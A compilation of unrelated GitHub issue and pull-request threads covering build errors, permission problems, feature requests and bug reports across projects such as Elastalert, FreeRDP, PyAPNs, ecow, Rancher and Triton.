Openshift Elasticsearch & Elastalert

Hi there,
Thanks to the following repo we have been able to get an elastalert instance running on RHEL openshift.
https://github.com/kilimandjango/openshift-elastalert
It does appear to work but gets the following error messages:
INFO:elastalert:Sleeping for 59.966621 seconds
INFO:elastalert:Queried rule OutOfMemoryError from 2018-05-24 13:15 UTC to 2018-05-24 13:26 UTC: 0 / 0 hits
WARNING:elasticsearch:POST https://logging-es:9200/elastalert_status/elastalert_status [status:403 request:0.003s]
ERROR:root:Error writing alert info to Elasticsearch: TransportError(403, u'security_exception', u'no permissions for indices:data/write/index')
Traceback (most recent call last):
File "/opt/app-root/lib/python2.7/site-packages/elastalert/elastalert.py", line 1438, in writeback
doc_type=doc_type, body=body)
File "/opt/app-root/lib/python2.7/site-packages/elasticsearch/client/utils.py", line 76, in _wrapped
return func(*args, params=params, **kwargs)
File "/opt/app-root/lib/python2.7/site-packages/elasticsearch/client/init.py", line 319, in index
_make_path(index, doc_type, id), params=params, body=body)
File "/opt/app-root/lib/python2.7/site-packages/elasticsearch/transport.py", line 314, in perform_request
status, headers_response, data = connection.perform_request(method, url, params, body, headers=headers, ignore=ignore, timeout=timeout)
File "/opt/app-root/lib/python2.7/site-packages/elasticsearch/connection/http_requests.py", line 90, in perform_request
self._raise_error(response.status_code, raw_data)
File "/opt/app-root/lib/python2.7/site-packages/elasticsearch/connection/base.py", line 125, in _raise_error
raise HTTP_EXCEPTIONS.get(status_code, TransportError)(status_code, error_message, additional_info)
AuthorizationException: TransportError(403, u'security_exception', u'no permissions for indices:data/write/index')
INFO:elastalert:Ran OutOfMemoryError from 2018-05-24 13:15 UTC to 2018-05-24 13:26 UTC: 0 query hits (0 already seen), 0 matches, 0 alerts sent
INFO:elastalert:Sleeping for 59.973543 seconds
Is there configuration for elasticsearch that requires updated to permit elastalert to be able to write to the indices?
Cheers

I don't really know anything about openshift or why elasticsearch doesn't accept writes. Being able to write is required for a number of features, though it's basic functionally may continue working.
You could create a new Elasticsearch cluster locally to allow elastalert to write to, I guess?

Just throwing up an idea, maybe u don't have the permission to create an index ?
Because the first step when the pod is running is to log for the elastalert logs index.

I suspect your are right @rotem443 not sure how to permit writes to the existing ES in openshift. I have asked Redhat this.
@Qmando  thanks, not sure that we can as elstalert would then need to support connections to two ES instances?

Hi there,
I endedup having a chat to Openshift support and it turns out the client cert, key only has permissions to read.
Redhad suggested using the admin key/cert for the eslastic search for this component and that worked.


⚠ SolarOscp has degraded performance

In c738fd8, SolarOscp ($SOLAROSCP_URL) experienced degraded performance:

HTTP code: 200
Response time: 317 ms

Resolved: SolarOscp performance has improved in 98f88e1 after 9 minutes.


Open ssl issue

I am building the FreeRDP iOS client, i getting no where past:
Xcode 8
test-Mac-Pro:FreeRDP-master mac$ ./scripts/OpenSSL-DownloadAndBuild.command
shasum: openssl-1.0.2h.tar.gz:
Downloading OpenSSL Version 1.0.2h ...
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 5150k  100 5150k    0     0  2469k      0  0:00:02  0:00:02 --:--:-- 2470k
Unpacking OpenSSL ...
Building openssl-1.0.2h for iPhoneSimulator 10.0 i386 (min SDK set: 9.3)
Please wait ... Done. Build log saved in BuildLog.darwin-i386.txt
Building openssl-1.0.2h for iPhoneSimulator 10.0 x86_64 (min SDK set: 9.3)
Please wait ... mac-Mac-Pro:FreeRDP-master mac $
Stops there, doesn't compile rest of the build.
A week ago it working great, latest commits are causing build issues...

@shattars3d Could you check your build log BuildLog.darwin-i386.txt for issues? It may also help to remove previous build files before running the script.

@akallabeth  Hey, where do i locate that text file BuildLog.darwin-i386.txt? Also how do i remove the previous build files?

@akallabeth  Hey, i have checked the BuildLog.darwin-x86_64.txt text file, this is the error
clang: warning: using sysroot for 'MacOSX' but targeting 'iPhone'
ld: building for iOS simulator, but linking against dylib built for OSX (/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk/usr/lib/libSystem.tbd). file '/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk/usr/lib/libSystem.tbd' for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make[2]: *** [link_app.] Error 1
make[1]: *** [openssl] Error 2
make: *** [build_apps] Error 1
error with make

@shattars3d Check your setting of SDK_VERSION , CROSS_TOP, CROSS_SDK and CC maybe something with autodetection is failing on your setup.

@akallabeth  Where do configure these settings? SDK_VERSION , CROSS_TOP, CROSS_SDK and CC

edit the build script and check the function compiling the code.

@akallabeth fixed the issue, had to update macports and open ssl
Also, in OpenSSL-DownloadAndBuild.command you should make MIN_SDK_VERSION="", no version number.


Gymnasium support question

I would like to thank authors for such a wonderful work and providing community with open-source easy to use unified diffusion in RL codebase.
I observed that there is dependency on gym < 24.0. Do author's plan to migrate to newer version of gym library (gymnasium) or there are some significant limitations on doing this?
Thanks!

Hi skyloop, thanks for your interest! We must clarify that the various components of CleanDiffuser (e.g. Diffusion Models, NN and Sampling Methods) simply require only pytorch dependencies (and have loose version restrictions). Implementing various types of algorithms (Diffuser, DD...) based on CleanDiffuser also requires only such few dependencies. However, most Diffusion for RL algorithms use the D4RL benchmark to verify performance, which requires gym support. If you want to use a gymnasium-based environment, you just need to modify the dataset and evaluation part of the pipeline for a specific algorithm, they are decoupled from the algorithm implementation. Or you can follow the tutorials in cleanDiffuser to build your own pipeline!

Thank you for reply! So if i want to use some custom environment, then it is enough to change dataset loader in pipeline script?

Sure! The single-file implementation of pipeline ensures that the matter is clear and simple, which is our core philosophy. You can understand that the training process of the diffusion models is supervised learning, so simply replacing it with your customized dataset during training is enough!
I will close the issue, and if you have more questions, feel free to reopen it!


chore(main): release 0.7.0

:robot: I have created a release beep boop
0.7.0 (2024-03-14)
Features

Allow for switching between native TLS and rustls (70a100f)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/cdriehuys/axum-jwks/releases/tag/v0.7.0 :sunflower:


Update the structure and styles of resume

Update the structure and styles to make the resume readable, pleasant, clean

Updated the structure and styles of the resume


Lpinheiro/chore/migrate openai models

Why are these changes needed?

Related issue number

Checks

[ ] I've included any doc changes needed for https://microsoft.github.io/autogen/. See https://microsoft.github.io/autogen/docs/Contribute#documentation to build and test documentation locally.
[ ] I've added tests (if relevant) corresponding to the changes introduced in this PR.
[ ] I've made sure all auto checks have passed.

Replaced by #3848


Feature request: make EcoVec::new() const

It would be nice if EcoVec::new() were callable in const contexts, to match Vec::new()

Unfortunately, it is not possible in the current design because EcoVec::new depends on a static and const fns can't reference statics.
Vec initializes its pointer with NonNull::dangling and uses its capacity to track whether it is initialized. EcoVec in comparison initializes its pointer with the address of a static SENTINEL value and uses that to track whether it is initialized. Using NonNull::dangling isn't possible because we have no other means to track whether we are initialized and NonNull::dangling could be a valid to pointer to an allocation.
Null cannot be used in either case because a slice's pointer can't be null and we want deref to slice to be a no-op (that's a design goal).

Could the sign bit in len be used as the allocated flag? Allocations of more than isize::MAX are not allowed in Rust, so could be used to signal self.len > (isize::MAX as usize) an unallocated EcoVec

Then EcoVec<T>'s deref to [T] isn't a no-op once again. Moreover, EcoString (which uses EcoVec internally) uses that bit to distinguish between inline and heap (EcoVec<u8>) representation.

Possible implementation: https://github.com/typst/ecow/pull/28

Implemented in https://github.com/typst/ecow/pull/28.
I'll publish a new release soon.

Sorry for the ping, any news about the release?

@flyingmutant I'll make one later today.

@flyingmutant I've just released ecow 0.1.2.


chore(get): allow to using cache dir to another disk

Description of Changes

Enable the utilization of both absolute and relative paths for the cache directory.

This may cause interest when the cache is in a directory other than the current path. This fixes the issue on Mac related to the existence of a cache folder that is not present in the same current directory.

I'm getting the same error in GH-1017. If you're able to resolve this error, that's be great. 🙏🏼

Weird that there's a lint error on Windows runner image only. Running npm run lint:fix and commiting the changes should fix it.

I'm good to merge this in but before I do, I have a few questions regarding implementation.

What questions do you have? @ayushmanchhabra
Additionally, it's worth mentioning that when working on Windows and wanting to create symbolic links, administrative privileges are necessary. Alternatively, you might consider using mlink, as it doesn't demand administrator rights.

What questions do you have? @ayushmanchhabra
Additionally, it's worth mentioning that when working on Windows and wanting to create symbolic links, administrative privileges are necessary. Alternatively, you might consider using mlink, as it doesn't demand administrator rights.

@jorisdugue I've asked them above.


Amplify federatedSignIn with OpenID Provider - how to refresh tokens/do we need to do that manually?

I am using Amplify iOS SDK and federatedSignIn for custom OpenID Provider.
I can successfully pass signIn process. But I am confused with token refreshing, documentation doesn't have much information on this topic.

Seems like we don't need to manually refresh tokens for  Facebook/Google/Apple Providers. But what about custom OpenID Provider?  Is my understanding correct, that if I set my OpenID Provider token time > Cognito Identity Pool token time (60 mins), in this case Amplify/AWSMobileClient will refresh its Cognito token using my OpenID Provider token automatically?

If the 1st case is not true, where I can find documentation on how to refresh Cognito token manually using AWSMobileClient (f.e. how to know that token is expired, because seems like even if token is expired, the user has signIn state)?

When we create Amplify Auth category with custom configuration, we need to set  Specify the app's refresh token expiration period (in days): 30, how to know in the app that this refresh token is expired and how to handle this case?

Is it possible to change Cognito Identity Pool token time either in AWS Console or AWS iOS SDK for testing purposes?

Thank you.

Ok, seems like I've found.
As per https://docs.amplify.aws/sdk/auth/federated-identities/q/platform/ios
 If the tokens are expired and new tokens are needed, a notification will be dispatched on the AWSMobileClient listener with the user state signedOutFederationTokensInvalid. You can give the updated tokens via the same federatedSignIn() method.
Have to check on practice.


SSMS wakes up paused Azure SQL databases if you connect to the server using AD account without specifying a database to connect to

I have several Azure SQL Database all using the same SQL Server. Some of the databases are serverless and will pause when no activity happens for 1 hour.
When I use SSMS to connect to the SQL Server using my Azure Active Directory admin account without specifying a database name in the connection dialog box, the connect "wakes" up all the paused databases.  This is without expanding any items on the server tree.
Because I will connect and disconnect serveral times a day the databases are changing from paused to online for at least 1 hour and I am then being charged for this compute.
I'm currently using 18.11.1.  I checked the release notes of later versions and can't find anything that would say this issue has been addressed
cheers
Greg O

.

@GregObleshchuk this is power of clouds)


[Impeller] Delete the STB typographer backend.

AFAICT, after the typography changes to libImpeller, this backend will be unused and not feature complete.
We should delete it.

I'll followup to once the one user we know of is no longer using it and has migrated to using the libImpeller.

Unless they're rolling at head we could delete this before they migrate.

Yeah, I don't think they are.


Upgrade CSF to next

Self-merging @yannbf @tmeasday

📦 Published PR as canary version: 0.9.1--canary.212.769fef8.0

:sparkles: Test out this PR locally via:
npm install<EMAIL_ADDRESS># or
yarn add<EMAIL_ADDRESS>

Codecov Report
Base: 76.53% // Head: 76.53% // No change to project coverage :thumbsup:

Coverage data is based on head (769fef8) compared to base (c97c9c0).
Patch has no changes to coverable lines.

Additional details and impacted files
@@           Coverage Diff           @@
##             next     #212   +/-   ##
=======================================
  Coverage   76.53%   76.53%
=======================================
  Files          11       11
  Lines         179      179
  Branches       37       37
=======================================
  Hits          137      137
  Misses         42       42

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


teardown() can close database connections now

IBM Cloud toolchain: Delivery Pipeline deployed customers to dev, including commit 3ba8c110082e052086eb411aabafcc6057dd3b72


Push not being recieved by devices anymore

Hi there,
We are using this plugin on Google App Engine with a Cloud Endpoints project.
Several months back when we were testing the integration the push messages were sending.
We have not made any major modifications to our push code and now the messages are not sending.
The App Engine logs show:
GatewayConnection APNS connection establishing...
GatewayConnection APNS connection established
GatewayConnection APNS connection closed

and does not report any 500 errors or SSL/key errors. But the message is not received by the phone.
We are also getting "Deadline Exceeded Errors" at least one of the times we tried.
Our keys are signed correctly using this process:
in keychain access, select both cert and key then export to Certificates.p12 file.
to generate cert.pem
openssl pkcs12 -in Certificates.p12 -out cert.pem -nodes -nokeys
to generate key.pem
openssl pkcs12 -in Certificates.p12 -out key.pem -nodes -nocerts
Our push code is copied directly from the instructions:

def send_single_push(u, payload):

    apns = get_apns_handler(False)

    # Send multiple notifications in a single transmission
    frame = Frame()
    identifier = 1
    expiry = time.time()+3600
    priority = 10

    pa = PushAlias.query(PushAlias.user == u.key).fetch(1)

    if pa:
        pa = pa[0]

    bc = PushBadgeCount.query(PushBadgeCount.alias == pa.key).fetch(1)

    if bc:
        bc = bc[0]

    # Increase the badge count
    bc.badge_count += 1
    bc.put()

    # Set the payload data and badge count
    apns_payload = Payload(
        alert=payload['alert'],
        sound=payload['sound'] if payload.has_key('sound') and payload['sound'] else "default",
        badge=bc.badge_count
    )

    # Add a push to the frame for each device in the alias
    for device in pa.devices:
        frame.add_item(device, apns_payload, identifier, expiry, priority)

    if get_environment() != 'sandbox':
        try:
            apns.gateway_server.send_notification_multiple(frame)
        except:
            # Force re-connect
            apns.gateway_server._connect()

        return False, None

We are mimicking Urban Airship like functionality.
And the keys are set as such:

def get_apns_handler(enhanced=False):

    sandbox = True
    cert = APNS_CERT_SANDBOX
    pem = APNS_PEM_SANDBOX

    # if get_environment() == 'prod':
    #     sandbox = False
    #     cert = APNS_CERT_PRODUCTION
    #     pem = APNS_PEM_PRODUCTION

    return APNs(use_sandbox=sandbox, cert_file=cert, key_file=pem, enhanced=enhanced)

We are using Googles own SSL library via the app.yaml:

libraries:
    - name: ssl
      version: latest

Any help would be greatly appreciated. Let me know if you need more information.

Hey,
I'm currently using PyAPNs in a GAE project and I am not seeing any errors.
A few advices:

It will only work on "python27" runtime;
You need to have billing enabled in your project in order to use sockets API;
Remember to load "ssl" library (you're already doing that);
Put your plain text certificates hard coded and load them using StringIO.StringIO(cert_var);

If you're still seeing problems check if you're not sending messages to sandboxed tokens without "use_sandbox = True" (or vice versa).

Thanks @CTassisF

We are using the python27 runtime
We do have billing enabled
We are loading the SSL library as noted above
We tried using both the sandbox and the prod certs

We are loading the certificates like this and it worked previously:

##
# APNS
##

APNS_CERT_SANDBOX = os.path.join(os.path.dirname(__file__), 'apns_keys/development_cert.pem')
APNS_PEM_SANDBOX = os.path.join(os.path.dirname(__file__), 'apns_keys/development_key.pem')
APNS_CERT_PRODUCTION = os.path.join(os.path.dirname(__file__), 'apns_keys/production_key.pem')
APNS_PEM_PRODUCTION = os.path.join(os.path.dirname(__file__), 'apns_keys/production_key.pem')

And we are not getting any SSL errors with the certs.

@gregorskii
I had a few problems loading certificates from files when I started using PyAPNs on GAE and that's why I'm using StringIO.StringIO().
I'm also not using the latest PyAPNs version available (v2.0.1), I'm using v2.0 because of #108.
This is the log when my push'es are sent:
D 2015-02-20 19:23:40.333 GatewayConnection APNS connection establishing...
D 2015-02-20 19:23:40.618 GatewayConnection APNS connection established
I 2015-02-20 19:23:40.627 GatewayConnection APNS connection closed
Your log matches mine.
I can't think anything but wrong token/sandbox combinations or problems with certificate loading.

I believe I am using the most current version, however the files do not denote the version anywhere that I can see.
I am pulling from https://github.com/djacobs/PyAPNs.git I do not remember specifically the last time I reran pip install -r from my requirements file. But I believe it was recently. I can try that again.
If the certificate did not load wouldn't the call to APNS throw a SSL connection error? When we were messing with the certs last night and had it setup wrong it was indeed throwing an error which resulted in a 500 error to our front end.
I will try rebuilding my package requirements, but its good that someone else is using this plugin on App Engine and having success, we must just have a config issue somewhere.
If you or anyone else has any other suggestions we would greatly appreciate it.
Thanks!

I tried updating the modules via pip install -r from my requirements file. I also tried using StringIO.StringIO to read the cert files. Neither worked.
I am still at a loss for how to fix this.
Does anyone know of any other debugging techniques to get more detail into what is happening?
Thanks

If it helps I had the same problem, turned out my cert file was wrong.

Would you mind adding the instructions you used to create the key and load it in app engine? The ones I used are above.
I would really appreciate it.

I changed enhanced mode to True and the pushes started sending. Can anyone explain why enhanced False and enhanced True would cause this to happen?

Resolved by using enhanced=True


command 'rmarkdown_vscode.rmarkdown-core.Knit' not found

Hi
I installed the extension but when I try to Knit an Rmd file by Ctrl+Shift+K, I get the error command 'rmarkdown_vscode.rmarkdown-core.Knit' not found. I have installed R and it's working fine. I can also access R in vscode.
Thank you

Sorry about this.
It worked well on my Mac, but when I tried using Linux, I experienced the same issue. I'm now trying to figure out how to fix this.

Hopefully It has been fixed.

Hopefully it has been fixed in v0.0.14. I've tested on Mac and Linux.
You may need to manually set the language of the file to be rmarkdown.

I don't know why, but using webpack seemed to fix it.

Hello @TianyiShi2001 !
I am on Linux. I file-associated R Markdown files and pressed the command Knit to All Formats. It worked. The problem is that, when you output to all the formats, the files were outside the right folder where a R Markdown file is in.
Blogdown failed because it picked the wrong workspace project. The config.toml and default.rmd are in another folder. The error log:
Error in site_root(config, .site_dir) :
  Could not find config.toml / config.yaml under
   /home/gusbemacbe/Cursos/Udemy/100 Days of Code – Python
   /home/gusbemacbe/Cursos/Udemy
   /home/gusbemacbe/Cursos
   /home/gusbemacbe
   /home
   /
Calls: <Anonymous> -> serve -> site_root
Execution halted

See the tree, where it picked the folder 100 Days of Code – Python instead of the folder Unidade 02 – Estruturas de Controle e Funções em R.

To continue the Blogdown test. I moved these files to the folder 100 Days of Code – Python and served the site... It worked perfectly. As I have already knoweldge of Hugo, it will be easy for me. What works with Hugo on Linux, also works with Blogdown.

You have to advise the Linux users to install all the TexLive packages for Linux and the TinyTex for R. For Blogdown, they should be advised to run install.packages("blogdown") before serve the site.
As knitting to all the formats and serving the site with Blogdown worked well on Linux, you can remove It has been reported to fail on Linux from README. But you need to fix the wrong commands where Blogdown picked the wrong folders up as you were seeing the workspace.


Modify disabled mixed-precision mma swizzling to be enabled with different configuration

Currently swizzling is disabled for the transposed operand when vecWidth != kWidth. I also believe the old comment there is no longer correct as this will also disable cases other than int8. I modified the condition such that it allows swizzling to happen in all scenarios, but with a restriction on perPhase such that it conforms to the assumptions made in SharedToDotOperandMMAv2.cpp.

Please get a review from a Googler before requesting review from Triton folks.  Thanks!

this was marked as a draft PR (so I'm also not sure why you were looking at it in the first place?), and Mohammed doesn't have the access rights to choose from whom the review is requested (and I didn't get around adding myself to the list of reviewers). Phil was added by default by github.

Thanks, I understand.  I looked at the PR because unfortunately github does not give me the ability to see whether a PR is a draft when I get an email.  That's not your problem, though.
My request is that the PR gets a review before you unmark as a draft and ask us to look at it, that's all.

Added a lit test for the change. Correctness is already covered by tests in python/test/unit/operators/test_matmul.py

LMK if this is not a draft anymore and I should look at it!

LMK if this is not a draft anymore and I should look at it!

Thank you. Seems there is one test that failed on the CI. Will fix it first and make sure CI passes before switching from draft.

@gflegar I also removed an assertion in SharedToDotOperandMMAv2.cpp that is not needed now with the change.

@jlebar It should be ready to be looked at now

Is there an end-to-end test (i.e. something in test_core.py or similar that actually uses a GPU) that exercises this?
I presume you ran into this with a real workload, and I want to make sure that we're testing the correctness of a workload that hits this, not just that it doesn't crash.

Is there an end-to-end test (i.e. something in test_core.py or similar that actually uses a GPU) that exercises this?
I presume you ran into this with a real workload, and I want to make sure that we're testing the correctness of a workload that hits this, not just that it doesn't crash.

These are covered by cases in python/test/unit/operators/test_matmul.py which test it for correctness. It should trigger for mixed-precision dots on the operand with bigger bit-width when that one is the inner dimension of "order".

Thanks!


load external font

Context
currently orbtk uses the built-in Roboto font, and it is load using register_font in Application::new().window(), but it looks like there is no way to add fonts from the external and skip built-in font loading
Problem description & Solution
built-in font do not contain CJK characters, need a way to load font from outside
Examples and MockUps
load parameter font from window widget?
        let font = world
            .entity_component_manager()
            .component_store()
            .get::<HashMap<String, PathBuf>>("font", window)
            .unwrap()
            .clone();
        for (name, path) in font {
            window_shell
                .borrow_mut()
                .render_context_2_d()
                .register_font(&name, path);
        }

Would be make sense to register / load fonts by the window widget. There you have a central place to do it. An alternative could be do register / load the fonts with a theme.

Maybe this can help font-kit


Allow YouTube embeds

Is this working now?

Is this working now?

Yes, I have to fix some minor issues and it is good to merge.

Yes, I have to fix some minor issues and it is good to merge.

Okay. the last time I tried using youtube and vimeo, it's not working. So I don't know if I can re-install the package and check it out again

Okay. the last time I tried using youtube and vimeo, it's not working. So I don't know if I can re-install the package and check it out again

It's not merged / released yet, I will let you know in this thread when it is.

It's not merged / released yet, I will let you know in this thread when it is.

I hope it'll be released soon. Thanks for the good work.

I hope it'll be released soon. Thanks for the good work.

Any update on this?

@solamichealolawale the version with YouTube embedding enabled is finally out.

Yes. Thanks for the amazing package.
Apart from the bug concerning the video still playing after the popup is closed, I don't know if I can help work on options like
autoplay,muted  etc for youtube embed sir

I've looked into it, it involves enabling the YouTube JS API but I decided to release the version with the embedding and add these later. Of course, if you submit a pull request I will happily look at it. :smile:


feat: updated constructor to have a client parameter

Description
This PR updates the constructor of the DropboxDriveFileSystem class to include a new parameter named client. When creating a new instance, the user must provide either a token (like before) or a Dropbox instance.
Tasks

[x] Add a client parameter to the DropboxDriveFileSystem constructor
[x] Update the docstring for the  DropboxDriveFileSystem constructor

Notes
I also took the liberty of removing the connect and _call method from DropboxDriveFileSystem. The _call method was not used and the connect method was simple, so I decided to include it directly in the constructor.

So sorry @Lucino772 , Don't know why but I did not receive the last notifications on this project.
Going back on it today !
So sorry for the long wait.

We need to keep the _call and connect method as we are following the fsspec template. Otherwise, I am agree to add the client parameters.
See PR #5

Hey @MarineChap, I just updated the to code to use the connect method instead of doing everything in the constructor. I also re-added the _call method, even though I don't really understand where is it used. I looked PR #5, and even then _call was not used  by the DropboxDriveFileSystem class. I also took a look in the AbstractFileSystem class, but didn't find any reference to the _call method.

Thanks, If I remember well, it is for the async feature of fsspec.
see here

Perfect, thank you for this PR !


Have Save button redirect you to saved pathways page

Simply add a redirect to the Save button to https://hasspathways.com/my-pathways . I'm not going to have you fix the save button to actually save instead of what we have now (saves as you go), as that will be an intermediate issue. If you complete this one, feel free to do that as well though!

Closed in #15, save button has been deleted


Overloaded apply() with no parameters break macros completely

ReactiveMongo Version
0.12.1 (Used to work at least in 0.10.5)
Expected Behavior
BSON macros should ignore overloaded apply method with arguments different from unapply return type, including empty apply() overload.
Actual Behavior
Having case class with overloaded apply() method (with 0 arguments) causes macros to produce methods that write and read empty BSONDocument.
PR with failing test will be submitted shortly.

PR with failing unit test - https://github.com/ReactiveMongo/ReactiveMongo/pull/646

Hi, as indicated in the project guidelines, please first use the MailingList. Best regards

Sorry. I read project guidelines, but I was so "100% sure that it is a bug" so I went straight to creating issue. Nevertheless, here is related mailing list topic.


Incorrect Start Location on Heill Quests

I have compiled this into one ticket with several posts because they all have the same issue :)
Start location for "Iron Maiden" need to be changed to -22 98 -68 on both Oblique Wiki and /questlore
Oblique Wiki:
/questlore:
Where the chords take you:

Where the quest starts:

Start location for "War Effort" is incorrect. Have not found where it starts. Last photo is where I would think it starts, given there is no quest that starts from the NPC "General Angin," but it does not start here. Chords to this NPC are: -19, 116, -57
Oblique Wiki:

Where it takes you:

Where I think it is supposed to start, but does not:

"Witch Hunt" start location chords need to be changed to -80 94 -36 and added to /questlore
Oblique Wiki:

/questlore: (doesn't even have it)

Where the chords take you:

Where the quest starts:

I have already updated the wiki with these cords. Just need to update in game quest lore with them

I have already updated the wiki with these cords. Just need to update in game quest lore with them

Fixed, thank you for the information

Fixed, thank you for the information


How to know which Matcher was used when using Matchers.anyOf.

For example I want to do:
Result result = expect.expect(anyOf(contains("reconfigure"), regexp("# $")));
if (/* first matcher was used */) {
  // The output contains "reconfigure" string.
  // Do something.
} else if (/* second matcher was used */) {
  // The output doesn't contains "reconfigure" string, but contains "# $" regexp.
  // Do something else.
}

How could I know the index of used matcher?

Now I use:
MultiResult result = expect.expect(anyOf(contains("reconfigure"), regexp("# $")));
if (result.getResults().get(0).isSuccessful()) {
	// The output contains "reconfigure" string.
} else {
	// The output doesn't contains "reconfigure" string, but contains "# $" regexp.
}

Is it correct way?
Is there a way to just get an index of matched pattern (0 or 1 in this case). Something like result.getMatchedIndex(). Maybe then this is a future request. :)

Sorry for delay. Somehow I missed this github notification among the others.
Note that MultiResult implements Result and delegates their methods to the matched result. So the MultiResult instance will contain the matching information either of contains("reconfigure") or regexp("# $").
You can also consider using interact feature. For example:
        expect.interact()
                .when(contains("reconfigure")).then(r -> System.out.println("A"))
                .when(regexp("# $")).then(r -> System.err.println("B"))
                .until(contains("END"));

Don't worry! The result.getResults().get(0).isSuccessful() solution works fine.
I know that MultiResult implements Result, but I do not understand how it can help me to recognize which matcher is matched from passed to anyOf. Comparing strings? It is not better then just using isSuccessful().
About interact it is definitely interesting feature! Maybe I will try it later. At the moment I'm entirely happy with the result.getResults().get(0).isSuccessful() solution.
By method getMatchedIndex() in MultiResult I meant something like:
public int getMatchedIndex() {
  for(int i = 0; i < results.size(); i++) {
    if (results.get(i).isSuccessful()) {
      return i;
    }
  }
  return -1;
}

But now I'm not sure if this method is really necessary... It will only return correct result for anyOf matcher but not for allOf matcher. For allOf matcher this method has no sense.


Rancher monitoring v1 to v2 upgrade fails with "V1 should be disabled but the operator is still being deployed"

Rancher Server Setup
Rancher version: 2.5.6
Installation option (Docker install/Helm Chart): Helm Chart
RKE1, v1.17.4
Information about the Cluster
Kubernetes version: v1.17.4
Cluster Type (Local/Downstream): Custom Downstream
v1.17.4-rancher1-1
Deployed HA Kubernetes with RKE
User Information
What is the role of the user logged in? (Admin/Cluster Owner/Cluster Member/Project Owner/Project Member/Custom): Admin
If custom, define the set of permissions:
Describe the bug
Hello, the V1 monitoring was disabled in this cluster by one of our ex colleagues (In the cluster and the Projects).
I was following this guide to migrate V1 monitoring to V2, i've used the following scripts to backup alerts and dashboards and check what was left
https://github.com/bashofmann/rancher-monitoring-v1-to-v2
I've deleted all of the notifiers and alerts, yet the check_monitoring_disabled.py script still shows the following
Found Monitoring V1 operator in cluster c-cjfkq. Auditing cluster to see why it is deployed...

Monitoring V1 should be disabled but the operator is still being deployed. Please file a bug with Rancher at https://github.com/rancher/rancher/issues/new.
Monitoring seems to be enabled because the following fields are set:

On the cluster explorer "monitoring-operator" is already considered as an installed app, yet going to "Monitoring" in "Apps&Marketplace" I get the following
Monitoring is currently deployed from Cluster Manager. If you are migrating from an older version of Rancher with monitoring enabled, please disable monitoring in Cluster Manager before attempting to install the new Rancher Monitoring chart in Cluster Explorer.

I wonder if the previous colleague tried installing the V2 monitoring, without deleting the alerts and notifiers for V1 in Cluster Manager. Or maybe had a failed upgrade of the V1 in the Cluster Manager, since there are still bits of prometheus in the cluster:
There seem to be 2 monitoring related namespaces in the cluster
cattle-prometheus
kubectl get all -n cattle-prometheus
NAME                                                         READY   STATUS    RESTARTS   AGE
pod/prometheus-operator-monitoring-operator-f9b9567b-9d87b   1/1     Running   1          477d

NAME                              TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)                        AGE
service/expose-kubelets-metrics   ClusterIP   None         <none>        10250/TCP,10255/TCP,4194/TCP   2y13d
service/expose-operator-metrics   ClusterIP   None         <none>        47323/TCP                      2y13d

NAME                                                      READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/prometheus-operator-monitoring-operator   1/1     1            1           2y13d

NAME                                                                 DESIRED   CURRENT   READY   AGE
replicaset.apps/prometheus-operator-monitoring-operator-5b66559965   0         0         0       2y13d
replicaset.apps/prometheus-operator-monitoring-operator-5f5d4c5987   0         0         0       724d
replicaset.apps/prometheus-operator-monitoring-operator-f9b9567b     1         1         1       477d

NAME                                         COMPLETIONS   DURATION   AGE
job.batch/operator-init-cluster-monitoring   0/1           475d       475d

cattle-prometheus-p-fdknz
kubectl get all -n cattle-prometheus-p-fdknz
No resources found in cattle-prometheus-p-fdknz namespace.

The latest logs of pod/prometheus-operator-monitoring-operator-f9b9567b-9d87b
level=warn ts=2022-07-07T12:26:26.680179448Z caller=operator.go:484 component=alertmanageroperator msg="alertmanager key=cattle-prometheus/cluster-alerting, field spec.baseImage is deprecated, 'spec.image' field should be used instead"
level=info ts=2022-07-07T12:26:26.680319556Z caller=operator.go:427 component=alertmanageroperator msg="sync alertmanager" key=cattle-prometheus/cluster-alerting
level=warn ts=2022-07-07T12:31:26.680312226Z caller=operator.go:484 component=alertmanageroperator msg="alertmanager key=cattle-prometheus/cluster-alerting, field spec.baseImage is deprecated, 'spec.image' field should be used instead"
level=info ts=2022-07-07T12:31:26.680453433Z caller=operator.go:427 component=alertmanageroperator msg="sync alertmanager" key=cattle-prometheus/cluster-alerting
E0707 12:34:49.324064       1 operator.go:290] Sync "cattle-prometheus/cluster-alerting" failed: deleting statefulset failed: statefulsets.apps "alertmanager-cluster-alerting" not found

Would you recommend deleting the objects in cattle-prometheus ? Or should I try installing V1 monitoring again and delete it after?
Edit 1:
I have tried deleting "monitoring-operator" in installed apps, which span up helm-operation workload and errored with the following:
helm uninstall --namespace=cattle-prometheus monitoring-operator
Error: uninstall: Release not loaded: monitoring-operator: release: not found

Yeap deleting the cattle-prometheus ns resolved the issue, allowing me to install V2 monitoring.


Running docker-composer up currently fails

Describe the bug
Currently, docker-compose up results in a failure with a SIGKILL during the build process.

Version
current stable
OS
What operating system are you using?

[x] macOS

To Reproduce
Steps to reproduce the behavior:

Clone repo
Amend Composer/Dockerfile with ENV NODE_OPTIONS "--max-old-space-size=4096"
Run docker-composer up
Error!

Expected behavior
I would expect the build to complete and for Composer to run.
Additional context
This has been reported by a customer running Windows locally as well.

addressed in https://github.com/microsoft/BotFramework-Composer/pull/1709


Segmenting is different for count queries versus normal

Two changes:

If buffer_time is less than the time elapsed since the previous query end time, use the previous endtime. Previously, if you set buffer_time less than run_every, each query would be skipping the difference. This would also happen if total query time was greater than run_every.

Fixes #135. Segmenting is done by either buffer_time or run_every, depending on the type of query. This mimicks the query size of normal operation, where buffer_time would be used for normal queries and run_every would be used for use_count/terms_query

I continue to wish we had more distinct names for our various time-related variables (starttime, minimum_starttime, etc). I might try to tackle that on my own at some point.
Other than that and the existing comments, lgtm.


Copy bug using Chemical Washer in 1.7.10

Issue description:
Copying using ChemicalWasher
Steps to reproduce:

Open inventory
Place stackable item in first slot in hotbar
